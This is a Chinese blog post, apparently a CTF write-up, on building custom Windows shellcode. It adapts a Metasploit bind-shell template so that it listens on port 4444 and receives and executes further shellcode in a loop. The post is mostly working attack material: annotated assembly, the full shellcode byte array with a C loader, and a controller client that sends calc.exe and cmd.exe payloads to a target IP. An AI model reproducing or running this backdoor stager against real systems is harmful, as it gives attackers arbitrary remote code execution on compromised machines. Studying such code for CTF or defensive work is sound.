首页 > CTF, 恶意代码 > [XDCTF]Shellcode DIY

[XDCTF]Shellcode DIY

国庆参加了XDCTF,被虐的相当惨,不过时间安排确实不怎么好,时间安排在前六天,先提交且通过的得分高,越往后交分数越低,偏偏还要搞在1号0:00开始,相当的操蛋的安排。另外就是这是组队赛,大家很难把假期全部贡献在比赛上,以至于很多题目都没时间做了。不过玩玩就好,参加一下总是涨了点知识,写点笔记。(这次比赛许多大牛都出来厮杀了,场面相当激烈)

溢出部分有一个编写Shellcode的题目,要求ShellCode运行后能够监听4444端口,并且能够执行从控制端传输过来的其他ShellCode。现成的当然是没有的,全部自己写对于我等菜鸟来说那肯定不太可信吧,我的思路是找一个过来DIY一下。

首先,去Metasploit找一个框架过来吧:就拿一个tcp bind shell,端口设置为4444,将ShellCode导出为C语言的数组格式,然后稍微处理一下转成二进制文件(使用Notepad++去除其中的\x、引号以及换行符,然后转大写即可,然后使用C32Asm的特别粘贴功能,保存即可得到二进制文件),接着使用IDA分析一下这段ShellCode。

ShellCode的入口是这样的:

;=========================================================
; start
;=========================================================
start:
    cld
    call    kMainFun        ; 主要逻辑代码函数
;=========================================================
; 函数调用包装函数
; 传入参数为待调用函数的参数以及函数名HASH值
;=========================================================
;fnFunctionCaller proc
	assume fs:nothing
    pusha                   ; 保存所有寄存器
    mov     ebp, esp        ; 建立新栈帧
    xor     edx, edx        ; EDX寄存器清零操作
    mov     edx, fs:[edx+30h] ; PEB
    mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
    mov     edx, [edx+14h]  ; InMemoryOrderModuleList
 
loc_15:
    mov     esi, [edx+28h]  ; BaseDllName(DLL名字)
    movzx   ecx, word ptr [edx+26h] ; (DllName长度+1)*2 即(UNICODE_STRING的长度字段)
    xor     edi, edi        ; EDI寄存器清零
 
    ; ==== 计算DLL名字HASH值 ====
loc_1E:
    xor     eax, eax        ; EAX寄存器清零
    lodsb                   ; 取DllName第一个字符
    cmp     al, 61h ; 'a'
    jl      short loc_27    ; 小于'a'时跳转
    sub     al, 20h ; ' '   ; 转大写字母
 
loc_27:
    ror     edi, 0Dh        ; 移位
    add     edi, eax        ; 累加
    loop    loc_1E          ; 循环计算DllName哈希值
 
    push    edx
    push    edi
    mov     edx, [edx+10h]  ; DllBase Dll基地址
    mov     eax, [edx+3Ch]  ; 开始解析PE文件格式
    add     eax, edx
    mov     eax, [eax+78h]  ; 数据目录表输出表结构
    test    eax, eax
    jz      short loc_89    ; 没有输出表, 跳转到返回
    add     eax, edx
    push    eax
    mov     ecx, [eax+18h]  ; 总的导出函数个数
    mov     ebx, [eax+20h]
    add     ebx, edx
 
loc_4A:
    jecxz   short loc_88
    dec     ecx
    mov     esi, [ebx+ecx*4] ; 函数名字
    add     esi, edx
    xor     edi, edi
 
    ; ==== 计算函数名字HASH值 ====
loc_54:
    xor     eax, eax
    lodsb
    ror     edi, 0Dh
    add     edi, eax
    cmp     al, ah
    jnz     short loc_54    ; 循环计算函数名HASH值
    add     edi, [ebp-8]    ; ==== Hash1(DllName) + Hash2(ApiName) ====
    cmp     edi, [ebp+24h]  ; 判断HASH值是否和传入的参数一致
    jnz     short loc_4A    ; 不相等继续寻找
    pop     eax
    mov     ebx, [eax+24h]
    add     ebx, edx
    mov     cx, [ebx+ecx*2]
    mov     ebx, [eax+1Ch]
    add     ebx, edx
    mov     eax, [ebx+ecx*4]
    add     eax, edx
    mov     [esp+28h-4], eax ; 保存函数的地址
    pop     ebx
    pop     ebx
    popa                    ; 对应pusha
    pop     ecx             ; 弹出上一个函数返回地址到ECX
    pop     edx             ; 弹出函数名HASH值参数
    push    ecx             ; 压入上一个函数的返回地址
    jmp     eax             ; 调用函数(刚好对应上一个函数传入的第参数)
 
loc_88:
    pop     eax
 
loc_89:
    pop     edi
    pop     edx
    mov     edx, [edx]
    jmp     short loc_15    ; 继续下一个DLL查找
;fnFunctionCaller endp
;=========================================================
    end start

一开始就是一条cld指令和一个call,先看一下call里面的部分代码:

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

看到call/pop是不是很熟悉的感觉?其实就是把fnFunctionCaller的地址弹给ebp,然后在压入函数参数和一个HASH值,接着call ebp。这里的fnFunctionCaller就像是一个Wrapper,fnFunctionCaller里面的代码逻辑为:通过PEB的InMemoryOrderModuleList链表遍历每一个DLL,根据DLL的名字(如Kernel32.dll)计算出一个HASH值A,然后遍历每个DLL的导出表,计算每个通过名字导出的函数的名字计算出另一个HASH值B,通过A+B=C计算出哈希值的和C,然后通过传入的hash参数进行对比,相等就获取这个函数的地址。接着通过合适的处理栈,使得之前传过来的参数刚刚设置为这个函数的额参数结构,返回地址则返回到call ebp的下一条指令所在的位置,然后就调用了函数了。

ShellCode Framework Analysis

ShellCode Framework Analysis

ShellCode主要的代码逻辑就位于kMainFun函数里面,我们保留其中有用的部分,把accept之后的代码删掉,现在需要添加自己的逻辑了:使用VirtualAlloc分配足够大小的带可执行属性的空间、接收来自控制端的ShellCode、判断接收是否正确、创建新线程执行ShellCode、等待线程执行完毕。这样不断的循环即可。

这里本来是先调用HeapAlloc,然后调用VirtualProtect来修改属性的,只是后来发现HeapAlloc被重定向到了RtlAllocateHeap,然后也就不知道为何就异常了,不过后来发现VirtualAlloc更加简单。

;=========================================================
;kMainFun函数
;=========================================================
kMainFun proc
    pop     ebp         ; EBP = fnFunctionCaller
    push    '23'
    push    '_2sw'      ; ws2_32
    push    esp
    push    726774Ch    ; LoadLibrary的HASH值
    call    ebp         ; 调用LoadLibrary加载ws2_32.dll
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     eax, 190h
    sub     esp, eax    ; 分配栈空间
    push    esp
    push    eax
    push    6B8029h
    call    ebp         ; 调用WSAStartup 进行socket初始化
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    eax
    push    eax
    push    eax
    push    eax
    inc     eax
    push    eax
    inc     eax
    push    eax
    push    0E0DF0FEAh
    call    ebp         ; 调用WSASocketA创建一个socket
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov     edi, eax
    xor     ebx, ebx
    push    ebx
    push    5C110002h   ; 0002-AF_INET  5C11-4444端口
    mov     esi, esp
    push    10h
    push    esi
    push    edi
    push    6737DBC2h
    call    ebp         ; 调用bind函数在4444端口进行绑定
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; 分配栈空间保留相关变量
    mov     ecx, 100h
loc_alloc_stack_mem:
    push    0h
    loop    loc_alloc_stack_mem
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    ebx
    push    edi
    push    0FF38E9B7h
    call    ebp         ; 调用listen开始监听
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
loc_wait_connect:
    push    ebx         ; 保存ebx
    push    edi         ; 保存edi
 
    push    ebx
    push    ebx
    push    edi
    push    0E13BEC74h
    call    ebp         ; 调用accept等待客户端的连接请求
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    mov [esp+50h], eax  ; [变量]保存客户端socket
 
loc_wait_shellcode:
    ; 分配堆空间
    push    40h         ; PAGE_EXECUTE_READWRITE
    push    1000h       ; MEM_COMMIT
    push    19000h      ; 100KB
    push    0h          ; lpAddress
    push    0E553A458h
    call    ebp         ; VirtualAlloc
    mov     [esp+54h], eax  ; [变量]保存hMem
    ; 接收ShellCode内容
    push    0           ; flags
    push    18FFFh      ; len
    push    [esp+54h+8h]; buf
    push    [esp+50h+0Ch]; socket
    push    5FC8D902h
    call    ebp         ; recv 接收shellcode内容
    ; 判断是否出错
    cmp     eax, 0FFFFFFFFh ; 返回-1表示出错了
    jz      loc_over
    cmp     eax, 0h
    jnz     loc_run_shellcode   ; 接收到了数据
    ; 没有接收到任何数据,视为出错了
    ; 先回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    jmp      loc_over
    ; 创建新线程
loc_run_shellcode:
    push    0h          ; lpThreadId = NULL
    push    0h          ; dwCreationFlags = 立即执行
    push    0h          ; lpParameter = NULL
    push    [esp+54h+0Ch]; lpStartAddress = buffer
    push    0h          ; dwStackSize = 0
    push    0h          ; lpThreadAttributes = NULL
    push    0160D6838h   
    call    ebp         ; 调用CreateThread执行ShellCode
    mov     [esp+58h], eax; [变量]保存hThread
    ; 等待线程结束
    push    0FFFFFFFFh  ; INFINITE
    push    [esp+58h+4h]; hThread
    push    601D8708h   
    call    ebp         ; WaitForSingleObject
    ; 回收空间
    push    4000h       ; MEM_DECOMMIT
    push    19000h      ; 100KB
    push    [esp+54h+8h]; buf
    push    300F2F0Bh
    call    ebp         ; 调用VirtualFree
    ; 等待下一个发送内容
    jmp     loc_wait_shellcode  ; 等待下一段ShellCode
 
loc_over:               ; 准备下一轮连接
    pop     edi         ; 恢复edi
    pop     ebx         ; 恢复ebx
    jmp     loc_wait_connect    ; 等待下一个连接
 
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    push    0
    push    6F721347h
    call    ebp         ; 调用ExitProcess退出进程
kMainFun endp

这里函数名字的HASH值需要自己计算(计算的汇编指令前面已经有了,抠出来就行,根据DLL名字以及API名字就能计算出HASH值),然后需要分配一定的栈空间用于保存变量,比如accept返回的socket句柄,在recv shellcode的时候就要用到,这些局部变量的引用要注意之前是否有参数压栈来调整与esp寄存器的距离。做的完美一点可以使用VirtualFree回收空间,这样的话一定要记得使用WaitForSingleObject等待线程结束。

写好汇编代码之后,用MASM32编译了一下代码,执行测试OK。这时候就需要使用16进制编辑器提取出二进制代码了。此时还剩下最后一步,就是调整部分字节,因为这里用到了函数,所以会提取出两段代码进行拼接,而编译器在编译的时候这两段代码之间是有距离的,所以最后要调整call指令的跳转距离。如果不会算的话可以先把ShellCode内嵌到C中编译,然后使用OD反汇编的时候进行汇编指令修改即可,最后把call kMainFun对应的机器码调整为\xE8\x89\x00\x00\x00。

最后使用内联汇编进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <windows.h>
 
#pragma comment(linker, "/subsystem:windows")
 
unsigned char kshell[] =
"\xFC\xE8\x89\x00\x00\x00\x60\x8B\xEC\x33\xD2\x64"
"\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
"\x0F\xB7\x4A\x26\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x52\x57"
"\x8B\x52\x10\x8B\x42\x3C\x03\xC2\x8B\x40\x78\x85"
"\xC0\x74\x4A\x03\xC2\x50\x8B\x48\x18\x8B\x58\x20"
"\x03\xDA\xE3\x3C\x49\x8B\x34\x8B\x03\xF2\x33\xFF"
"\x33\xC0\xAC\xC1\xCF\x0D\x03\xF8\x38\xE0\x75\xF4"
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24"
"\x03\xDA\x66\x8B\x0C\x4B\x8B\x58\x1C\x03\xDA\x8B"
"\x04\x8B\x03\xC2\x89\x44\x24\x24\x5B\x5B\x61\x59"
"\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86"
"\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54"
"\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00"
"\x2B\xE0\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50"
"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0"
"\xFF\xD5\x8B\xF8\x33\xDB\x53\x68\x02\x00\x11\x5C"
"\x8B\xF4\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF"
"\xD5\xB9\x00\x01\x00\x00\x6A\x00\xE2\xFC\x53\x57"
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x57\x53\x53\x57"
"\x68\x74\xEC\x3B\xE1\xFF\xD5\x89\x44\x24\x50\x6A"
"\x40\x68\x00\x10\x00\x00\x68\x00\x90\x01\x00\x6A"
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\x44\x24\x54"
"\x6A\x00\x68\xFF\x8F\x01\x00\xFF\x74\x24\x5C\xFF"
"\x74\x24\x5C\x68\x02\xD9\xC8\x5F\xFF\xD5\x83\xF8"
"\xFF\x74\x5C\x83\xF8\x00\x75\x17\x68\x00\x40\x00"
"\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68\x0B"
"\x2F\x0F\x30\xFF\xD5\xEB\x40\x6A\x00\x6A\x00\x6A"
"\x00\xFF\x74\x24\x60\x6A\x00\x6A\x00\x68\x38\x68"
"\x0D\x16\xFF\xD5\x89\x44\x24\x58\x6A\xFF\xFF\x74"
"\x24\x5C\x68\x08\x87\x1D\x60\xFF\xD5\x68\x00\x40"
"\x00\x00\x68\x00\x90\x01\x00\xFF\x74\x24\x5C\x68"
"\x0B\x2F\x0F\x30\xFF\xD5\xE9\x70\xFF\xFF\xFF\x5F"
"\x5B\xE9\x59\xFF\xFF\xFF";
 
int WINAPI WinMain(
    HINSTANCE hInstance, 
    HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, 
    int nShowCmd )
{
    DWORD dwTemp = 0;
    VirtualProtect(
        kshell, 
        sizeof(kshell), 
        PAGE_EXECUTE_READWRITE, 
        &dwTemp);
 
    __asm
    {
        lea eax, kshell
        push eax
        ret
    }
 
    return 0;
}

现在就可以编写控制端进行测试啦,注意因为这里通过创建新线程执行ShellCode,而且会等待新线程结束,所以发送过去的ShellCode就不要弹出MessageBox了,否则就把被控端的执行逻辑给卡死了。还有就是在使用Metasploit生成测试Shellcode的时候,退出方式选择thread,千万不要选process,因为那样就把被控端给kill掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32")
 
#pragma comment(linker, "/subsystem:console")
 
// 因为通过创建新线程执行Shellcode
// 所以Shellcode的退出方式最好是退出线程
// 以保证还可以继续接收和执行其他shellcode
unsigned char shellcode_calc[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00";
 
unsigned char shellcode_cmd[] = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
"\x65\x78\x65\x00";
 
int main(int argc, char **argv)
{
    WSADATA wsad;
    SOCKET sHost;
    SOCKADDR_IN servAddr;
    int retVal;
 
    if (WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
    {
        printf("初始化套接字失败!\n");
        return -1;
    }
 
    sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
    if(INVALID_SOCKET == sHost)
    {
        printf("创建套接字失败!\n");
        WSACleanup();
        return  -1;
    }
 
    char szip[64] = {0};
    printf("请输入被控端IP地址:");
    scanf("%s", szip);
    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(szip);
    servAddr.sin_port = htons(4444);
    int nServAddlen = sizeof(servAddr);
 
    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));    
    if(SOCKET_ERROR == retVal)
    {
        printf("连接服务器失败!\n");    
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    //向服务器发送数据
    printf("\n准备发送弹出计算器的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_calc, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    printf("按Enter发送下一段Shellcode\n");
    system("pause");
 
    //向服务器发送数据
    printf("\n准备发送弹出CMD的Shellcode\n");
    retVal = send(sHost, (char *)shellcode_cmd, sizeof(shellcode_calc), 0);
    if (SOCKET_ERROR == retVal)
    {
        printf("发送弹出计算器的Shellcode失败!\n");
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
 
    printf("测试完毕,准备退出!\n");
    system("pause");
 
    closesocket(sHost);
    WSACleanup();
 
    return 0;
}

最终效果截图:

XDCTF ShellCode

ShellCode控制端与被控端测试



觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> [XDCTF]Shellcode DIY
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2013年10月7日22:32 | #1

    刚查了下,貌似这个比赛 还挺有趣滴?
    p.s 国庆充实啊。

    [回复]

    代码疯子 回复:

    @tanglei, 不怎么有趣,另外国庆累坏了,不过去清华溜达了一圈 [em012]

    [回复]

  2. 2013年10月8日19:27 | #2

    膜拜,科神吊炸天

    [回复]

    代码疯子 回复:

    @kedebug, 膜拜高富帅啊!我这是没营养的东西,也很久没看了,现在就写写代码。

    [回复]

  1. 本文目前尚无任何 trackbacks 和 pingbacks.